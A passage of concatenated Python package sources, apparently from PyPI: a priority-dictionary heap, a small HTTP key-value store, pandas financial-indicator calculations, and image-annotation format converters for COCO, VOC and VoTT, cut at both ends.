render('/selfservice/setmpin.mako') def history(self): ''' This is the form to display the history table for the user ''' return render('/selfservice/history.mako') def landing(self): ''' This is the landing page for selfservice ''' c.tokenArray = getTokenForUser(self.authUser) return render('/selfservice/landing.mako') def webprovisionoathtoken(self): ''' This is the form for an oathtoken to do web provisioning. ''' return render('/selfservice/webprovisionoath.mako') def activateocratoken(self): ''' return the form for an ocra token activation ''' return render('/selfservice/activateocra.mako') def webprovisiongoogletoken(self): ''' This is the form for an google token to do web provisioning. ''' try: c.actions = getSelfserviceActions(self.authUser) return render('/selfservice/webprovisiongoogle.mako') except Exception as exx: log.exception( "[webprovisiongoogletoken] failed with error: %r" % exx) return sendError(response, exx) def usertokenlist(self): ''' This returns a tokenlist as html output ''' c.tokenArray = getTokenForUser(self.authUser) res = render('/selfservice/tokenlist.mako') return res # eof #
PypiClean
/Divisi-0.6.10.tar.gz/Divisi-0.6.10/csc/divisi/priodict.py
# Implements a data structure that acts almost like a dictionary, with two modifications: # (1) D.smallest() returns the value x minimizing D[x]. For this to work correctly, # all values D[x] stored in the dictionary must be comparable. # (2) iterating "for x in D" finds and removes the items from D in sorted order. # Each item is not removed until the next item is requested, so D[x] will still # return a useful value until the next iteration of the for-loop. # Each operation takes logarithmic amortized time. from __future__ import generators class priorityDictionary(dict): def __init__(self): '''Initialize priorityDictionary by creating binary heap of pairs (value,key). Note that changing or removing a dict entry will not remove the old pair from the heap until it is found by smallest() or until the heap is rebuilt.''' self.__heap = [] dict.__init__(self) def smallest(self): '''Find smallest item after removing deleted items from front of heap.''' if len(self) == 0: raise IndexError, "smallest of empty priorityDictionary" heap = self.__heap while heap[0][1] not in self or self[heap[0][1]] != heap[0][0]: lastItem = heap.pop() insertionPoint = 0 while 1: smallChild = 2*insertionPoint+1 if smallChild+1 < len(heap) and heap[smallChild] > heap[smallChild+1] : smallChild += 1 if smallChild >= len(heap) or lastItem <= heap[smallChild]: heap[insertionPoint] = lastItem break heap[insertionPoint] = heap[smallChild] insertionPoint = smallChild return heap[0][1] def __iter__(self): '''Create destructive sorted iterator of priorityDictionary.''' def iterfn(): while len(self) > 0: x = self.smallest() yield x del self[x] return iterfn() def __setitem__(self,key,val): '''Change value stored in dictionary and add corresponding pair to heap. Rebuilds the heap if the number of deleted items gets large, to avoid memory leakage.''' dict.__setitem__(self,key,val) heap = self.__heap if len(heap) > 2 * len(self): self.__heap = [(v,k) for k,v in self.iteritems()] self.__heap.sort() # builtin sort probably faster than O(n)-time heapify else: newPair = (val,key) insertionPoint = len(heap) heap.append(None) while insertionPoint > 0 and newPair < heap[(insertionPoint-1)//2]: heap[insertionPoint] = heap[(insertionPoint-1)//2] insertionPoint = (insertionPoint-1)//2 heap[insertionPoint] = newPair def setdefault(self,key,val): '''Reimplement setdefault to pass through our customized __setitem__.''' if key not in self: self[key] = val return self[key]
PypiClean
/FMLC-1.2.1-py3-none-any.whl/fmlc/pythonDB/pythonDB.py
try: # For Python 3.0 and later from socketserver import TCPServer except ImportError: # Fall back to Python 2 from SocketServer import TCPServer try: # For Python 3.0 and later from http.server import BaseHTTPRequestHandler except ImportError: # Fall back to Python 2 from BaseHTTPServer import BaseHTTPRequestHandler from json import dumps, loads from datetime import datetime from os import path import csv import sys from time import sleep, time, gmtime, mktime def status(self): self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() temp = {} temp['dev_status'] = db['dev_status'] temp['dev_time'] = db['dev_time'] temp['dev_debug'] = str(db['dev_debug']) temp['dev_nodename'] = db['dev_nodename'] temp['dev_error'] = db['dev_error'] json_file = dumps(temp, sort_keys=True, separators=(',', ': ')).encode() self.wfile.write(json_file) def write(self, new=True, store=True): if new: self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() #read new data and update dict try: # python 3 length = int(self.headers['Content-Length']) except: # python 2 length = int(self.headers.getheader('content-length')) dict = loads(self.rfile.read(length)) db.update(dict) #store in csv file if store: with open(db_name, 'wb') as f: for key in sorted(db.keys()): csv.writer(f).writerow([key, db[key]]) def read(self): self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() #print 'Header', time() #send full db as json file json_file = dumps(db, sort_keys=True, separators=(',', ': ')).encode() self.wfile.write(json_file) #print 'Payload', time() class MyHandler(BaseHTTPRequestHandler): def log_message(self, format, *args): if db['dev_debug']: sys.stderr.write("%s - - [%s] %s\n" % (self.address_string(), self.log_date_time_string(), format%args)) else: pass def do_GET(self): #print 'Receive', time() db['dev_time'] = datetime.now().strftime(format) if self.path == '/read': read(self) elif self.path == '/status': status(self) else: if db['dev_debug']: self.send_error(404) else: pass write(self, new=False, store=False) def do_PUT(self): db['dev_time'] = datetime.now().strftime(format) if self.path == '/write': write(self, store=False) else: if db['dev_debug']: self.send_error(404) else: pass if __name__ == '__main__': #load database db = {} db['dev_nodename'] = sys.argv[1] db_name = db['dev_nodename']+'.csv' format = '%Y-%m-%d %H:%M:%S' if len(sys.argv) > 3: db_name = sys.argv[3]+'/'+db_name if path.isfile(db_name): with open(db_name, 'rb') as f: for row in csv.reader(f): try: db[row[0]] = row[1] except: pass db['dev_nodename'] = sys.argv[1] db['dev_port'] = sys.argv[2] db['dev_debug'] = False db['dev_status'] = "starting" db['dev_error'] = 'NA' db['timezone'] = int(int(mktime(gmtime())-time())/60/60)*-1 print("Starting Python_db for "+db['dev_nodename']+' on port '+str(db['dev_port'])+'...') httpd = TCPServer(("", int(db['dev_port'])), MyHandler) db['dev_status'] = "ok" print(db['dev_status']) db['dev_time'] = datetime.now().strftime(format) httpd.serve_forever()
PypiClean
/finlogic-0.6.1-py3-none-any.whl/finlogic/indicators.py
import pandas as pd TAX_RATE = 0.34 INDICATORS_CODES = { "1": "total_assets", "1.01": "current_assets", "1.01.01": "cash_equivalents", "1.01.02": "financial_investments", "2.01": "current_liabilities", "2.01.04": "short_term_debt", "2.02.01": "long_term_debt", "2.03": "equity", "3.01": "revenues", "3.03": "gross_profit", "3.05": "ebit", "3.07": "ebt", "3.08": "effective_tax", "3.11": "net_income", "6.01": "operating_cash_flow", "6.01.01.04": "depreciation_amortization", "3.99.01.01": "eps", } def filter_indicators_data(dfi: pd.DataFrame) -> pd.DataFrame: codes = list(INDICATORS_CODES.keys()) # noqa: used in query below """There are 137 repeated entries in 208784 rows. These are from companies with some exotic period_end dates, as for cvm_id 3450. These entries will be removed in the next step, when we drop duplicates and the last entry published will be kept. """ drop_cols = ["tax_id", "acc_name", "period_begin"] sort_cols = ["cvm_id", "is_consolidated", "acc_code", "period_end"] subset_cols = ["cvm_id", "is_consolidated", "acc_code", "period_end"] dfo = ( dfi.query("acc_code in @codes") .drop(columns=drop_cols) # .query("cvm_id == 9512 and is_consolidated") # for testing .sort_values(by=sort_cols, ignore_index=True) .drop_duplicates(subset=subset_cols, keep="last", ignore_index=True) .astype({"acc_code": "string"}) ) return dfo def pivot_df(df) -> pd.DataFrame: index_cols = ["cvm_id", "name_id", "is_annual", "is_consolidated", "period_end"] dfp = ( pd.pivot(df, values="acc_value", index=index_cols, columns=["acc_code"]) .fillna(0) .reset_index() ) return dfp def insert_annual_avg_col(col_name: str, df: pd.DataFrame) -> pd.DataFrame: gp_cols = ["cvm_id", "is_annual", "is_consolidated"] col_name_p = f"{col_name}_p" avg_col_name = f"avg_{col_name}" df[col_name_p] = df.groupby(by=gp_cols)[col_name].shift(1) df[col_name_p] = df[col_name_p] df[col_name_p].fillna(df[col_name], inplace=True) df[avg_col_name] = (df[col_name] + df[col_name_p]) / 2 df.drop(columns=[col_name_p], inplace=True) return df def insert_quarterly_avg_col(col_name: str, df: pd.DataFrame) -> pd.DataFrame: gp_cols = ["cvm_id", "is_annual", "is_consolidated"] col_name_p4 = f"{col_name}_p4" col_name_p1 = f"{col_name}_p1" col_name_p = f"{col_name}_p" avg_col_name = f"avg_{col_name}" df[col_name_p4] = df.groupby(by=gp_cols)[col_name].shift(4) df[col_name_p1] = df.groupby(by=gp_cols)[col_name].shift(1) df[col_name_p] = df[col_name_p4] df[col_name_p].fillna(df[col_name_p1], inplace=True) df[col_name_p].fillna(df[col_name], inplace=True) df[avg_col_name] = (df[col_name] + df[col_name_p]) / 2 df.drop(columns=[col_name_p4, col_name_p1, col_name_p], inplace=True) return df def insert_key_cols(df: pd.DataFrame) -> pd.DataFrame: df["total_cash"] = df["cash_equivalents"] + df["financial_investments"] df.drop(columns=["cash_equivalents", "financial_investments"], inplace=True) df["total_debt"] = df["short_term_debt"] + df["long_term_debt"] df["net_debt"] = df["total_debt"] - df["total_cash"] df.drop(columns=["short_term_debt", "long_term_debt"], inplace=True) df["working_capital"] = df["current_assets"] - df["current_liabilities"] df["effective_tax_rate"] = -1 * df["effective_tax"] / df["ebt"] df["ebitda"] = df["ebit"] + df["depreciation_amortization"] df["invested_capital"] = df["total_debt"] + df["equity"] - df["total_cash"] return df def process_indicators(df, is_annual: bool, insert_avg_col) -> pd.DataFrame: df.rename(columns=INDICATORS_CODES, inplace=True) df = insert_key_cols(df) avg_cols = ["invested_capital", "total_assets", "equity"] for col_name in avg_cols: df = insert_avg_col(col_name, df) # For quarterly data, we need only the last row of each group if not is_annual: gp_cols = ["cvm_id", "is_annual", "is_consolidated"] df = df.groupby(by=gp_cols).tail(1).dropna().reset_index(drop=True) # Margin ratios CUT_OFF_VALUE = 1_000_000 df["gross_margin"] = df["gross_profit"] / df["revenues"] df["ebitda_margin"] = df["ebitda"] / df["revenues"] df["operating_margin"] = df["ebit"] / df["revenues"] df["net_margin"] = df["net_income"] / df["revenues"] margin_cols = ["gross_margin", "ebitda_margin", "operating_margin", "net_margin"] df.loc[df["revenues"] <= CUT_OFF_VALUE, margin_cols] = 0 # Return ratios df["return_on_assets"] = df["ebit"] * (1 - TAX_RATE) / df["avg_total_assets"] df.loc[df["avg_total_assets"] <= CUT_OFF_VALUE, "return_on_assets"] = 0 df["return_on_equity"] = df["ebit"] * (1 - TAX_RATE) / df["avg_equity"] df.loc[df["avg_equity"] <= CUT_OFF_VALUE, "return_on_equity"] = 0 df["roic"] = df["ebit"] * (1 - TAX_RATE) / df["avg_invested_capital"] df.loc[df["avg_invested_capital"] <= CUT_OFF_VALUE, "roic"] = 0 # Drop avg_cols avg_cols = ["avg_total_assets", "avg_equity", "avg_invested_capital"] df.drop(columns=avg_cols, inplace=True) return df def build_indicators(financials_df: pd.DataFrame) -> pd.DataFrame: """Build indicators dataframe.""" start_df = filter_indicators_data(financials_df) # Construct pivot tables for annual and quarterly dfa = pivot_df(start_df.query("is_annual")) dfq = pivot_df(start_df.query("not is_annual")) # Build indicators dfai = process_indicators(dfa, True, insert_annual_avg_col) dfqi = process_indicators(dfq, False, insert_quarterly_avg_col) # Build output dataframe sort_cols = ["cvm_id", "is_consolidated", "period_end"] df = pd.concat([dfai, dfqi]).sort_values(by=sort_cols, ignore_index=True) df.columns.name = None return df def adjust_unit(df: pd.DataFrame, unit: float) -> pd.DataFrame: currency_cols = [ "total_assets", "current_assets", "current_liabilities", "equity", "revenues", "gross_profit", "ebit", "ebt", "effective_tax", "net_income", "operating_cash_flow", "depreciation_amortization", "total_cash", "total_debt", "net_debt", "working_capital", "ebitda", "invested_capital", ] df.loc[:, currency_cols] /= unit return df def reorder_index(df: pd.DataFrame) -> pd.DataFrame: new_order = [ "total_assets", "current_assets", "total_cash", "working_capital", "invested_capital", "current_liabilities", "total_debt", "net_debt", "equity", "revenues", "gross_profit", "net_income", "ebitda", "ebit", "ebt", "effective_tax", "operating_cash_flow", "depreciation_amortization", "effective_tax_rate", "return_on_assets", "return_on_equity", "roic", "gross_margin", "ebitda_margin", "operating_margin", "net_margin", "eps", ] return df.reindex(new_order) def format_indicators(df: pd.DataFrame, unit: float) -> pd.DataFrame: df = adjust_unit(df, unit) melt_cols = ["cvm_id", "is_annual", "is_consolidated", "period_end"] df = pd.melt(df, id_vars=melt_cols, var_name="indicator", value_name="value") sort_cols = ["cvm_id", "is_consolidated", "period_end", "indicator"] df.sort_values(by=sort_cols, inplace=True) df["period_end"] = df["period_end"].astype("string") index_cols = ["cvm_id", "is_consolidated", "indicator"] df = ( pd.pivot(df, values="value", index=index_cols, columns=["period_end"]) .reset_index() .set_index("indicator") ) df.columns.name = None df.index.name = None df = reorder_index(df) return df
PypiClean
/JustDeepIt-0.1.30.tar.gz/JustDeepIt-0.1.30/justdeepit/utils.py
import os import sys import re import gzip import json import base64 import hashlib import random import string import pkg_resources import xml.etree.ElementTree as ET import numpy as np import cv2 import skimage import skimage.io import skimage.color import skimage.measure import skimage.draw import PIL.Image import PIL.ImageOps import tempfile import pycocotools.coco import pycocotools.cocoeval class JsonEncoder(json.JSONEncoder): """Convert NumPy object to JSON object Convert NumPy objects to JSON object during writting process. Examples: >>> import json >>> >>> data_dict = {'bbox': [1, 2, 3, 4], 'image': '/path/to/image.jpg'} >>> json.dump(data_dict, cls=JsonEncoder) """ def default(self, obj): if isinstance(obj, np.integer): return int(obj) elif isinstance(obj, np.floating): return float(obj) elif isinstance(obj, np.ndarray): return obj.tolist() elif isinstance(obj, np.nan): return None else: return super(JsonEncoder, self).default(obj) class ImageAnnotation: """A container to store image annotations Class :class:`ImageAnnotation <justdeepit.utils.ImageAnnotation>` is a container that stores image annotations such as file paths, coordinates of bounding boxes and object contours, and object names. Args: image_path (str): A path to an image. annotation (str): A path to an annotation file that corresponds to the image ``image_path``. annotation_format (str): A string to specify an annotation format. If ``auto`` is specified, then automatically estimate the annotation format. rgb2class (dict): A dictionary mapping RGB values to class name. The image annotations are stored with the following attributes: Attributes: image_path (str): A path to an image. image (numpy.ndarray): An image data in :py:class:`numpy.ndarray` object, which is generated by :py:func:`skimage.io.imread`. exif_orientation (int): An integer ranged from 1 until 8 to specify EXIF Orientation. regions (list): A list of dictionaries consists of image annotations, and each dictionary consists of keys ``id``, ``class``, ``bbox``, ``contour``, and ``score``. ``id`` is an integer that stores the object identifier, and ``class`` is a string that stores a class label. ``bbox`` is a list consisting of four elements (``[xmin, ymin, xmax, ymax]``) that represent the coordinates of the bounding box, and ``contour`` is a two-dimensional array (e.g., ``[[x1, y1], [x2, y2], ..., [xn, yn]]``) that stores the coordinates of object contours. ``score`` is the confidence score of the class, which is usually output from object detection models. If the object is a donut-shaped object (i.e., object with several holes), the holes are also annotated as an object, but the ``class`` is set to *__background__* in this case. mask (numpy.ndarray): A mask of image stored in :py:class:`numpy.ndarray`. class2rgb (dict): A dictionary mapping class name to RGB values. rgb2class (dict): A dictionary mapping RGB values to class name. Class :class:`ImageAnnotation <justdeepit.utils.ImageAnnotation>` mainly implements methods :func:`format <justdeepit.utils.ImageAnnotation.format>` and :func:`draw <justdeepit.utils.ImageAnnotation.draw>` for format conversion and image visualization, respectively. By using method :func:`format <justdeepit.utils.ImageAnnotation.format>`, the annotations can be converted to any format, such as the COCO format and Pascal VOC format. By using method :func:`draw <justdeepit.utils.ImageAnnotation.draw>`, the image is plotted with annotations. Examples: >>> from justdeepit.utils import ImageAnnotation >>> >>> image_fpath = './path/to/image.jpg' >>> ann_fpath = './path/to/image.json' >>> >>> ann = ImageAnnotation(image_fpath, ann_fpath) """ def __init__(self, image_path, annotation, annotation_format='auto', class2rgb=None, rgb2class=None): self.image_path = image_path self.image, self.exif_orientation = self.__imread(image_path) self.class2rgb, self.rgb2class = self.__set_colormapping_dict(class2rgb, rgb2class) self.regions = self.__set_regions(annotation, annotation_format) self.mask = None self.__rgb = [(0, 48, 73), (251, 143, 103), (33, 131, 128), (106, 76, 147), (240, 200, 8), (251, 176, 45), (92, 128, 1), (7, 160, 195), (155, 93, 229), (221, 28, 26), (251, 97, 7), (255, 241, 208), (255, 89, 94), (8, 103, 136), (70, 73, 76), (216, 17, 18), (25, 130, 196), (253, 240, 213), (241, 91, 181), (143, 45, 86), (255, 194, 180), (124, 181, 24), (115, 210, 222), (0, 187, 259), (25, 133, 161), (254, 228, 64), (120, 0, 0), (102, 155, 188), (21, 96, 100), (248, 225, 108)] def __imread(self, image_path): image = PIL.Image.open(image_path) exif_o = None if hasattr(image, '_getexif') and image._getexif() is not None: exif_o = image._getexif().get(0x112, 1) return np.array(PIL.ImageOps.exif_transpose(image)), exif_o def __estimate_annotation_format(self, ann): """Estimate annotation foramt If file path is given, then load annotations and estimate the format by checking defined keys If python objects is given, then estimate the format by checking defiend keys """ if isinstance(ann, str): if ann.lower().endswith(('.png', '.jpg', '.jpeg', '.tiff', '.bmp', '.gif')): return 'rgbmask' else: fdat = ann if (os.path.exists(ann)): fdat = '' with open(ann, 'r') as infh: for _ in infh: fdat += _ if '<annotation>' in fdat and '<object>' in fdat and '<source>' in fdat and '<size>' in fdat: return 'voc' elif 'categories' in fdat and 'images' in fdat and 'annotations' in fdat and 'image_id': return 'coco' elif 'asset' in fdat and 'regions' in fdat: return 'vott' elif isinstance(ann, dict): if 'categories' in ann and 'images' in ann and 'annotations' in ann: return 'coco' elif 'asset' in ann and 'regions' in ann: return 'vott' elif isinstance(ann, list): if len(ann) == 0: return None elif isinstance(ann[0], dict) and 'id' in ann[0] and 'class' in ann[0] and 'bbox' in ann[0]: return 'base' elif isinstance(ann, np.ndarray): return 'array' raise ValueError('Failure to parse annotation format.') def __set_regions(self, annotation, annotation_format='auto'): if annotation is None: return [] if annotation_format == 'auto': annotation_format = self.__estimate_annotation_format(annotation) if annotation_format == None: return annotation if annotation_format == 'base': return annotation elif annotation_format == 'array': return self.__set_regions_from_array(annotation) elif annotation_format == 'rgbmask': return self.__set_regions_from_rgbmask(annotation) elif annotation_format == 'vott': return self.__set_regions_from_vott(annotation) elif 'voc' in annotation_format: return self.__set_regions_from_voc(annotation) elif annotation_format == 'coco': return self.__set_regions_from_coco(annotation) else: raise ValueError('Undefined format.') def __set_regions_from_coco(self, coco): regions = [] coco_data = None with open(coco, 'r') as jsonfh: coco_data = json.load(jsonfh) # find image ID image_id = None for coco_image in coco_data['images']: if coco_image['file_name'] == os.path.basename(self.image_path): image_id = str(coco_image['id']) # get class ID and name cateid2name = {} for coco_cate in coco_data['categories']: cateid2name[coco_cate['id']] = coco_cate['name'] # get region annotations regions = [] for coco_region in coco_data['annotations']: if str(coco_region['image_id']) == image_id: region = { 'id': coco_region['id'], 'bbox': [coco_region['bbox'][0], coco_region['bbox'][1], coco_region['bbox'][0] + coco_region['bbox'][2], coco_region['bbox'][1] + coco_region['bbox'][3]], 'class': cateid2name[coco_region['category_id']], 'score': np.nan, } if 'segmentation' in coco_region and len(coco_region['segmentation']) > 0: region['contour'] = np.array(coco_region['segmentation']).reshape(-1, 2, order='C') regions.append(region) return regions def __set_regions_from_array(self, mask): regions = [] mask = mask.copy() if len(mask.shape) > 3: mask = skimage.color.rgb2gray(mask) mask_h, mask_w = mask.shape mask_padding = 10 padded_mask = np.zeros((mask_h + 2 * mask_padding, mask_w + 2 * mask_padding)) padded_mask[mask_padding:(mask_padding + mask_h), mask_padding:(mask_padding + mask_w)] = mask mask_contours = skimage.measure.find_contours(padded_mask, 0.5) for n, contour in enumerate(mask_contours): rr, cc = skimage.draw.polygon(contour[:, 0], contour[:, 1], padded_mask.shape[0:2]) contour = contour.astype(np.int32) - mask_padding contour[contour < 0] = 0 contour[contour[:, 0] > mask_h -1, 0] = mask_h - 1 contour[contour[:, 1] > mask_w-1, 1] = mask_w - 1 regions.append({ 'id' : n + 1, 'class' : '__background__' if np.mean(padded_mask[rr, cc] / (np.max(padded_mask[rr, cc]) + 0.01)) < 0.5 else 'object', 'bbox' : [np.min(contour[:, 1]), np.min(contour[:, 0]), np.max(contour[:, 1]), np.max(contour[:, 0])], 'contour': contour[:, [1, 0]], 'score' : np.nan, }) return regions def __set_regions_from_rgbmask(self, mask): regions = [] mask, _ = self.__imread(mask) mask = mask[:, :, 0:3] # RGB mask mask_h, mask_w = mask.shape[0:2] mask_padding = 10 padded_mask = np.zeros((mask_h + 2 * mask_padding, mask_w + 2 * mask_padding, mask.shape[2])) padded_mask[mask_padding:(mask_padding + mask_h), mask_padding:(mask_padding + mask_w)] = mask # make masks for each objects and save them into a dictionary # the key is object color (RGB) and value is the binary array of objects padded_mask_dict = {} for h in range(padded_mask.shape[0]): for w in range(padded_mask.shape[1]): if (np.sum(padded_mask[h, w, :]) > 0): # skip the black color (no object) px_rgb = ','.join([str(int(_)) for _ in padded_mask[h, w, :]]) if px_rgb not in padded_mask_dict: padded_mask_dict[px_rgb] = np.zeros(padded_mask.shape[0:2]) padded_mask_dict[px_rgb][h, w] = 1 # detect objects from each mask object_id = 0 for object_class_i, padded_mask_i in padded_mask_dict.items(): mask_contours = skimage.measure.find_contours(padded_mask_i, 0.5) for n, contour in enumerate(mask_contours): rr, cc = skimage.draw.polygon(contour[:, 0], contour[:, 1], padded_mask.shape[0:2]) contour = contour.astype(np.int32) - mask_padding contour[contour < 0] = 0 contour[contour[:, 0] > mask_h - 1, 0] = mask_h - 1 contour[contour[:, 1] > mask_w - 1, 1] = mask_w - 1 if self.rgb2class is not None and object_class_i in self.rgb2class: object_class_i = self.rgb2class[object_class_i] regions.append({ 'id' : object_id, 'class' : '__background__' if np.mean(padded_mask_i[rr, cc] / (np.max(padded_mask_i[rr, cc]) + 0.01)) < 0.5 else object_class_i, 'bbox' : [np.min(contour[:, 1]), np.min(contour[:, 0]), np.max(contour[:, 1]), np.max(contour[:, 0])], 'contour': contour[:, [1, 0]], 'score' : np.nan, }) object_id += 1 return regions def __set_regions_from_voc(self, voc): regions = [] is_obj = False obj_id = 0 obj_name = '' obj_bbox = [None, None, None, None] voc_tree = ET.parse(voc) voc_root = voc_tree.getroot() obj_id = 0 for voc_data in voc_root: if voc_data.tag == 'object': regions.append({ 'id': obj_id, 'class': voc_data.find('name').text, 'bbox': [ float(voc_data.find('bndbox').find('xmin').text), float(voc_data.find('bndbox').find('ymin').text), float(voc_data.find('bndbox').find('xmax').text), float(voc_data.find('bndbox').find('ymax').text) ], 'score': np.nan, }) obj_id += 1 return regions def __set_regions_from_vott(self, vott): regions = [] vott_data = None with open(vott, 'r') as jsonfh: vott_data = json.load(jsonfh) # find image and annotaiton from the multi-entry VoTT annotation vott_regions = None for vott_image_id, vott_image_meta in vott_data['assets'].items(): if vott_image_meta['asset']['name'] == os.path.basename(self.image_path): vott_regions = vott_image_meta['regions'] break if vott_regions is not None: for vott_region in vott_regions: bbox_xy = [[int(np.floor(vott_region['boundingBox']['left'])), int(np.floor(vott_region['boundingBox']['top']))], [int(np.floor(vott_region['boundingBox']['left'])) + \ int(np.floor(vott_region['boundingBox']['width'])), int(np.floor(vott_region['boundingBox']['top'])) + \ int(np.floor(vott_region['boundingBox']['height']))]] polygon_xy = [[int(np.floor(p['x'])), int(np.floor(p['y']))] for p in vott_region['points']] bbox_xy = self.__exif_transpose(bbox_xy, self.image.shape[0:2], self.exif_orientation) polygon_xy = self.__exif_transpose(polygon_xy, self.image.shape[0:2], self.exif_orientation) if bbox_xy[0][0] > bbox_xy[1][0]: bbox_xy[0][0], bbox_xy[1][0] = bbox_xy[1][0], bbox_xy[0][0] if bbox_xy[0][1] > bbox_xy[1][1]: bbox_xy[0][1], bbox_xy[1][1] = bbox_xy[1][1], bbox_xy[0][1] for vott_tag in vott_region['tags']: region = { 'id' : vott_region['id'] + '_' + vott_tag, 'class': vott_tag, 'bbox': [bbox_xy[0][0], bbox_xy[0][1], bbox_xy[1][0], bbox_xy[1][1]], 'contour' : np.array(polygon_xy), 'score': np.nan, } regions.append(region) return regions def __exif_transpose(self, points, image_size, exif_orientation): """Transpose coordinates according to EXIF orientation Transpose coordinates accroding to EXIF orientation. Args: points (list): A list containes coordinates. Each element is a list contained two elements which are the coordinates of x and y. image_size (list): Image width and height after EXIF transpose. exif_orientation (int): EXIF orientation ID. Return: A list contains transposed coordinates. """ if exif_orientation is None or exif_orientation == 1: pass elif exif_orientation == 2: for i in range(len(points)): points[i][0] = image_size[0] - (points[i][0] + 1) raise ValueError('Orientation 2 is not validated so far, check it manually.' + self.image_path) elif exif_orientation == 3: for i in range(len(points)): points[i][0] = image_size[1] - points[i][0] points[i][1] = image_size[0] - points[i][1] elif exif_orientation == 4: for i in range(len(points)): points[i][1] = image_size[1] - (points[i][1] + 1) raise ValueError('Orientation 4 is not validated so far, check it manually.' + self.image_path) elif exif_orientation == 5: for i in range(len(points)): points[i][1] = image_size[1] - (points[i][1] + 1) for i in range(len(points)): points[i][0], points[i][1] = points[i][1], image_size[1] - (points[i][0] + 1) raise ValueError('Orientation 5 is not validated so far, check it manually.' + self.image_path) elif exif_orientation == 6: for i in range(len(points)): points[i][0], points[i][1] = image_size[1] - points[i][1], points[i][0] elif exif_orientation == 7: for i in range(len(points)): points[i][1] = image_size[1] - (points[i][1] + 1) for i in range(len(points)): points[i][0], points[i][1] = image_size[0] - (points[i][1] + 1), points[i][0] raise ValueError('Orientation 7 is not validated so far, check it manually.' + self.image_path) elif exif_orientation == 8: for i in range(len(points)): points[i][0], points[i][1] = points[i][1], image_size[0] - points[i][0] else: raise ValueError('Unknown EXIF orientation.') return points def format(self, annotation_format, file_path=None): """Format annotation to specific format Method :func:`format <justdeepit.utils.ImageAnnotation.format>` converts class object :class:`ImageAnnotation <justdeepit.utils.ImageAnnotation>` into a specific format. COCO (:file:`.json`) and Pascal VOC (:file:`.xml`) are supported formats in the current version of JustDeepIt. Additionally, this method supports the conversion of class object :class:`ImageAnnotation <justdeepit.utils.ImageAnnotation>` into a mask image represented by class object :class:`numpy.ndarray`. Args: annotation_format (str): A string to specify the format to be formatted. ``coco``, ``voc``, or ``mask`` can be specified. file_path (str): A path to save the converted annotation. If ``None`` is given, return the converted annotation in string or dictionary. Returns: If ``file_path`` is ``None``, return a string (for Pascal VOC format), a dictionary (for COCO), or :class:`numpy.ndarray` (for image data). Otherwise, save the data in the given path. Examples: >>> from justdeepit.utils import ImageAnnotation >>> >>> image_fpath = './path/to/image.jpg' >>> ann_fpath = './path/to/image.json' >>> ann = ImageAnnotation(image_fpath, ann_fpath) >>> >>> ann.format('voc', './path/to/image.xml') """ fmt_obj = None if annotation_format == 'base': return self.regions elif annotation_format.lower() == 'array' or annotation_format.lower() == 'numpy' or annotation_format.lower() == 'mask': return self.__format2mask(file_path)[1] #elif annotation_format.lower() == 'vott': # return self.__format2vott(file_path) elif annotation_format.lower() == 'coco': return self.__format2coco(file_path) elif annotation_format.lower() == 'voc': return self.__format2voc(file_path) else: raise ValueError('Unsupported format') def __calc_area_from_polygon(self, polygon): x = polygon[:, 0] y = polygon[:, 1] return 0.5 * np.abs(np.dot(x, np.roll(y, 1)) - np.dot(y, np.roll(x, 1))) def __format2base(self, output_fpath=None): if output_fpath is None: return self.regions else: with open(output_fpath, 'w', encoding='utf-8') as fh: json.dump(self.regions, fh, cls=JsonEncoder, ensure_ascii=False) def __format2voc(self, output_fpath=None): tmpl_voc = '''<annotation> <folder></folder> <filename>{}</filename> <source> <database>Unknown</database> <annotation>Unknown</annotation> <image>Unknown</image> </source> <size> <width>{}</width> <height>{}</height> <depth></depth> </size> <segmented>0</segmented> {} </annotation> ''' tmpl_obj = ''' <object> <name>{}</name> <occluded>0</occluded> <bndbox> <xmin>{}</xmin> <ymin>{}</ymin> <xmax>{}</xmax> <ymax>{}</ymax> </bndbox> </object>''' objs = [] for region in self.regions: obj = tmpl_obj.format(region['class'], *region['bbox']) objs.append(obj) voc = tmpl_voc.format(os.path.basename(self.image_path), self.image.shape[1], self.image.shape[0], '\n'.join(objs)) if output_fpath is None: return voc else: with open(output_fpath, 'w', encoding='utf-8') as fh: fh.write(voc) def __format2coco(self, output_fpath=None): image_id = 1 tmpl = { 'images': [{ 'id': image_id, 'width': self.image.shape[1], 'height': self.image.shape[0], 'file_name': os.path.basename(self.image_path) }], 'annotations': [], 'categories': [] } # category cate2id = {} max_cate_id = 1 for region in self.regions: if region['class'] == '__background__': continue if region['class'] not in cate2id: cate2id[region['class']] = max_cate_id tmpl['categories'].append({ 'id': max_cate_id, 'name': region['class'], 'supercategory': region['class'] }) max_cate_id += 1 # annotations for i, region in enumerate(self.regions): if region['class'] == '__background__': continue ann = { 'id': i + 1, 'image_id': image_id, 'category_id': cate2id[region['class']], 'bbox': [region['bbox'][0], region['bbox'][1], region['bbox'][2] - region['bbox'][0], region['bbox'][3] - region['bbox'][1]], 'area': (region['bbox'][2] - region['bbox'][0]) * (region['bbox'][3] - region['bbox'][1]), 'score': region['score'], 'iscrowd': 0 } if 'contour' in region and region['contour'] is not None: ann['segmentation'] = [region['contour'].flatten(order='C').tolist()] ann['area'] = self.__calc_area_from_polygon(region['contour']) tmpl['annotations'].append(ann) if output_fpath is None: return tmpl else: with open(output_fpath, 'w', encoding='utf-8') as fh: json.dump(tmpl, fh, cls=JsonEncoder, ensure_ascii=False) #json.dump(tmpl, fh, cls=JsonEncoder, ensure_ascii=False, indent=4) def __format2vott(self, output_fpath=None): tmpl = {} # asset tmpl['asset'] = {} tmpl['asset']['format'] = os.path.splitext(self.image_path)[1].lower()[1:] tmpl['asset']['id'] = hashlib.md5('file:{}'.format(os.path.abspath(self.image_path)).encode('utf-8')).hexdigest() tmpl['asset']['name'] = os.path.basename(self.image_path) tmpl['asset']['path'] = 'file:{}'.format(os.path.abspath(self.image_path)) tmpl['asset']['size'] = {'width': self.image.shape[1], 'height': self.image.shape[0]} tmpl['asset']['state'] = 0 tmpl['asset']['type'] = 1 tmpl['version'] = '2.2.0' # regions tmpl['regions'] = [] for region in self.regions: r = {} r['id'] = region['id'] r['type'] = 'POLYGON' r['tags'] = region['class'] r['boundingBox'] = { 'height': region['bbox'][2] - region['bbox'][0] + 1, 'width': region['bbox'][3] - region['bbox'][1] + 1, 'left': region['bbox'][1], 'top': region['bbox'][0] } if region['contour'] is not None: r['points'] = [] for i in range(region['contour'].shape[0]): r['points'].append({'x': region['contour'][i, 